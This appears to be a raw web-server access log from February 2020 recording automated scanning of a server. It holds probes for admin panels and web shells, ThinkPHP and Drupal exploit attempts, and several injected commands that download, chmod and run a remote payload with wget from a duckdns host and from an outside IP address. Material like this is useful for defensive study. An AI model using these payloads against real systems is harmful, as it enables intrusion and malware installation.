106.54.188.252 - - [09/Feb/2020:17:34:41 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:45 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:46 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:46 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:46 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:47 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:47 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:49 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:50 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:50 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:50 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:51 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:51 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:51 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:52 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:52 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:52 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:53 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:54 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:54 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:54 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:54 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:55 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:55 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:55 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:55 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:56 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:56 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:56 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:56 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:56 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:57 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:34:57 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:00 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:01 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:02 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:02 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:02 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:02 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:05 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:06 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:06 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:06 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:07 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:07 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:07 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:09 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:10 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:11 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:11 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:11 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:13 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:14 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:14 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:14 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:14 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:14 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:15 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:15 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:18 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:19 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:19 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:19 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:20 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:20 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:20 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:20 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:21 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:21 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:21 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:21 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:17:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.54.188.252 - - [09/Feb/2020:17:35:25 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:28 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:28 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:29 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:30 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:30 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:30 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:30 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:31 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:34 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:34 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:35:34 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:36:10 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:17:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.54.188.252 - - [09/Feb/2020:17:36:42 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:37:10 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:17:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.54.188.252 - - [09/Feb/2020:17:37:34 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
113.22.145.55 - - [09/Feb/2020:17:37:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.54.188.252 - - [09/Feb/2020:17:38:10 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
106.54.188.252 - - [09/Feb/2020:17:38:13 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
170.231.143.9 - - [09/Feb/2020:17:38:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.54.188.252 - - [09/Feb/2020:17:38:21 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
81.4.86.47 - - [09/Feb/2020:17:38:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.54.188.252 - - [09/Feb/2020:17:38:22 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
170.231.143.9 - - [09/Feb/2020:17:38:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:17:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.74.37.172 - - [09/Feb/2020:17:38:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.74.37.172 - - [09/Feb/2020:17:38:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
106.54.188.252 - - [09/Feb/2020:17:38:46 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
106.54.188.252 - - [09/Feb/2020:17:39:14 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [09/Feb/2020:17:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.54.188.252 - - [09/Feb/2020:17:39:38 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.188.252 - - [09/Feb/2020:17:40:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
1.54.11.100 - - [09/Feb/2020:17:40:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:17:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.54.188.252 - - [09/Feb/2020:17:40:26 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.188.252 - - [09/Feb/2020:17:40:50 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
106.54.188.252 - - [09/Feb/2020:17:41:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [09/Feb/2020:17:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [09/Feb/2020:17:41:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
106.54.188.252 - - [09/Feb/2020:17:41:42 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
